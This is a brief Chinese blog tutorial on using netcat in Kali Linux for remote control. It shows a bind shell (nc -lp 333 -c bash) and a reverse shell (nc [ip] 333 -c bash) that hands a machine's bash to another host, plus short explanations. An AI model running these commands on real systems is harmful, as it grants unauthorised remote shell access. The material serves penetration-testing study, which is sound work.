Linux Kali 渗透测试 基本工具--NETCAT 的使用方法2

一、使用NC进行远程控制

  1. 正向
    server A : nc -lp 333 -c bash
    client B : nc [IP] 333
image.png
image.png

服务器端A打开监听端口333一旦有客户端B连接到了A,A将自己的bash控制权限传递给了B,客户端B可通过命令来对服务器端进行控制。

2.反向
server A : nc -lp 333
client B : nc [ip] 333 -c bash

      ![image.png](https://upload-images.jianshu.io/upload_images/14045627-39e867f946bbefd6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

服务器端A打开监听端口333,客户端B将自己的bash权限直接给予了该IP地址的服务器端。

** 注意!若是windows系统则将bash换成cmd **

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 一、使用NC进行相互通信 1.首先需要有一个主机进行进程监听,使用命令: nc -l -p [PORT] ...
    zhui1阅读 3,357评论 0 1
  • 专业考题类型管理运行工作负责人一般作业考题内容选项A选项B选项C选项D选项E选项F正确答案 变电单选GYSZ本规程...
    小白兔去钓鱼阅读 9,097评论 0 13
  • 目录 基础使用单向侦听双向聊天日常习惯 拓展使用正/反向域名解析传输⽂件/目录;加密传输端口扫描,获取banner...
    linx255阅读 913评论 0 1
  • netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚...
    ssdsss阅读 1,828评论 0 0
  • 如果你捡到一台iphone7 plus,你会选择怎样? 这是我这两天问自己的一个问题,我也问问看到这篇文章的你。 ...
    一束沐熹阅读 782评论 11 5